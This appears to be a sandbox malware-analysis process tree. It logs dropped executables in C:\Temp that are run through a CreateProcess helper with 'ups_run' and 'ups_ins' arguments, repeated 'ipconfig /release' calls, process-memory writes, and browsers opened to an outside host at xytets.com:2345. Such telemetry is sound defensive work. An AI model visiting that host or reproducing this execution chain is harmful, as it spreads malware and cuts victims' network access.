      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4520
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\tnlfdyvqoi.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5200
  - - C:\Temp\tnlfdyvqoi.exe
      C:\Temp\tnlfdyvqoi.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1220
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2248
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1944
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_tnlfdyvqoi.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5340
  - - C:\Temp\i_tnlfdyvqoi.exe
      C:\Temp\i_tnlfdyvqoi.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2396
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\snlfdxvpni.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4836
  - - C:\Temp\snlfdxvpni.exe
      C:\Temp\snlfdxvpni.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3060
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5832
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2904
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_snlfdxvpni.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4664
  - - C:\Temp\i_snlfdxvpni.exe
      C:\Temp\i_snlfdxvpni.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1612
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\fcxvpnifax.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2572
  - - C:\Temp\fcxvpnifax.exe
      C:\Temp\fcxvpnifax.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3552
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2324
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3396
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_fcxvpnifax.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2304
  - - C:\Temp\i_fcxvpnifax.exe
      C:\Temp\i_fcxvpnifax.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4976
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\fczxspfzxs.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2560
  - - C:\Temp\fczxspfzxs.exe
      C:\Temp\fczxspfzxs.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2412
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:888
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3392
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_fczxspfzxs.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5408
  - - C:\Temp\i_fczxspfzxs.exe
      C:\Temp\i_fczxspfzxs.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5092
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xrpkhczusm.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2904
  - - C:\Temp\xrpkhczusm.exe
      C:\Temp\xrpkhczusm.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5636
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3744
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2472
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xrpkhczusm.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3148
  - - C:\Temp\i_xrpkhczusm.exe
      C:\Temp\i_xrpkhczusm.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3804
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rpmgecwurp.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3336
  - - C:\Temp\rpmgecwurp.exe
      C:\Temp\rpmgecwurp.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4820
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4180
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5352
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rpmgecwurp.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3208
  - - C:\Temp\i_rpmgecwurp.exe
      C:\Temp\i_rpmgecwurp.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5520
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ojhbztrlje.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5416
  - - C:\Temp\ojhbztrlje.exe
      C:\Temp\ojhbztrlje.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:912
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3260
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5092
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ojhbztrlje.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5276
  - - C:\Temp\i_ojhbztrlje.exe
      C:\Temp\i_ojhbztrlje.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1148
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jgbztrlbvt.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4476
  - - C:\Temp\jgbztrlbvt.exe
      C:\Temp\jgbztrlbvt.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3784
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3800
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4160
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jgbztrlbvt.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4164
  - - C:\Temp\i_jgbztrlbvt.exe
      C:\Temp\i_jgbztrlbvt.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5548
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\geywqoigby.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3168
  - - C:\Temp\geywqoigby.exe
      C:\Temp\geywqoigby.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5520
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:6004
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:436
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_geywqoigby.exe ups_ins
    3⤵
    PID:1152
  - - C:\Temp\i_geywqoigby.exe
      C:\Temp\i_geywqoigby.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2440
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nlfdxvtnli.exe ups_run
    3⤵
    PID:2568
  - - C:\Temp\nlfdxvtnli.exe
      C:\Temp\nlfdxvtnli.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3848
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4176
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4624
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nlfdxvtnli.exe ups_ins
    3⤵
    PID:1796
  - - C:\Temp\i_nlfdxvtnli.exe
      C:\Temp\i_nlfdxvtnli.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2136
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pnifaxvpnk.exe ups_run
    3⤵
    PID:5944
  - - C:\Temp\pnifaxvpnk.exe
      C:\Temp\pnifaxvpnk.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5716
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1404
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5060
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pnifaxvpnk.exe ups_ins
    3⤵
    PID:5192
  - - C:\Temp\i_pnifaxvpnk.exe
      C:\Temp\i_pnifaxvpnk.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3172
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\snkhczxvpn.exe ups_run
    3⤵
    PID:5152
  - - C:\Temp\snkhczxvpn.exe
      C:\Temp\snkhczxvpn.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2532
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:424
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1964
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_snkhczxvpn.exe ups_ins
    3⤵
    PID:2644
  - - C:\Temp\i_snkhczxvpn.exe
      C:\Temp\i_snkhczxvpn.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4720
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\causmkfcxu.exe ups_run
    3⤵
    PID:2984
  - - C:\Temp\causmkfcxu.exe
      C:\Temp\causmkfcxu.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4680
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5552
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6028
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_causmkfcxu.exe ups_ins
    3⤵
    PID:4972
  - - C:\Temp\i_causmkfcxu.exe
      C:\Temp\i_causmkfcxu.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5772
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cwrpmhezxr.exe ups_run
    3⤵
    PID:4584
  - - C:\Temp\cwrpmhezxr.exe
      C:\Temp\cwrpmhezxr.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4936
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2744
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3440
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cwrpmhezxr.exe ups_ins
    3⤵
    PID:6104
  - - C:\Temp\i_cwrpmhezxr.exe
      C:\Temp\i_cwrpmhezxr.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1536
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jecwuomgey.exe ups_run
    3⤵
    PID:3172
  - - C:\Temp\jecwuomgey.exe
      C:\Temp\jecwuomgey.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4244
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4652
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3928
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jecwuomgey.exe ups_ins
    3⤵
    PID:5692
  - - C:\Temp\i_jecwuomgey.exe
      C:\Temp\i_jecwuomgey.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2044
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ljebomgeyw.exe ups_run
    3⤵
    PID:1876
  - - C:\Temp\ljebomgeyw.exe
      C:\Temp\ljebomgeyw.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1964
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1148
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3084
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ljebomgeyw.exe ups_ins
    3⤵
    PID:2016
  - - C:\Temp\i_ljebomgeyw.exe
      C:\Temp\i_ljebomgeyw.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1352
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gdbwqolgey.exe ups_run
    3⤵
    PID:5888
  - - C:\Temp\gdbwqolgey.exe
      C:\Temp\gdbwqolgey.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5932
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2008
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5772
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gdbwqolgey.exe ups_ins
    3⤵
    PID:1108
  - - C:\Temp\i_gdbwqolgey.exe
      C:\Temp\i_gdbwqolgey.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2512
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2208
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ff9e7b2c188,0x7ff9e7b2c194,0x7ff9e7b2c1a0
      4⤵
      PID:4708
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --subproc-heap-profiling --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1688,i,11813841332274062237,14140541146523171496,262144 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:2
      4⤵
      PID:4304
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=1880,i,16833432549456096411,14793482768395755952,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=2636 /prefetch:11
      4⤵
      System Time Discovery
      PID:756
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=2524,i,6649634956565764379,16306872751257643269,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=2816 /prefetch:13
      4⤵
      PID:260
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --subproc-heap-profiling --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3576,i,428969075316840332,17865979900201827898,2097152 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=3580 /prefetch:1
      4⤵
      PID:460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --subproc-heap-profiling --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3584,i,8400961276715307053,9886720295851878418,2097152 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:1
      4⤵
      PID:3256
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4272,i,14343752180421412788,10966898506010656122,2097152 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=1680 /prefetch:9
      4⤵
      PID:5352
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --subproc-heap-profiling --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4244,i,818653965843399626,10782343872577159816,2097152 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=4444 /prefetch:1
      4⤵
      PID:4344
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=3756,i,1695240114837598943,17474504701606689212,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:14
      4⤵
      PID:2496
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=5548,i,13726556686371504971,17647747761922950004,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:14
      4⤵
      PID:2564
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=5440,i,9390342361774240567,2038155504667714070,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=5512 /prefetch:14
      4⤵
      PID:2676
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6068,i,5283028159208393007,18378074032781794924,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:14
      4⤵
      PID:4364
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6068,i,5283028159208393007,18378074032781794924,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:14
      4⤵
      PID:2340
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6276,i,17075879029529509896,7210693147997373159,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:14
      4⤵
      PID:4508
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6656,i,750603162103614505,1911749326588208751,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=6648 /prefetch:14
      4⤵
      PID:5572
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=4548,i,6559420696112012049,5292355837117201787,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=4648 /prefetch:14
      4⤵
      PID:2432
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=4524,i,7662156878681364596,17740523484350592711,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=4620 /prefetch:14
      4⤵
      PID:6040
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=4676,i,8926416238718440519,12404839637207951716,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=4728 /prefetch:14
      4⤵
      PID:3112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=4760,i,2127648503923324442,1434512279104268073,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=3740 /prefetch:14
      4⤵
      PID:5784
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=1680,i,17438893433043439130,12885345248985698878,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=6696 /prefetch:14
      4⤵
      PID:1648
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --subproc-heap-profiling --always-read-main-dll --metrics-shmem-handle=6088,i,17348346619146108794,8434390330344132492,524288 --field-trial-handle=2304,i,4945026103468162489,7093506692703565263,262144 --variations-seed-version --mojo-platform-channel-handle=912 /prefetch:14
      4⤵
      PID:5992
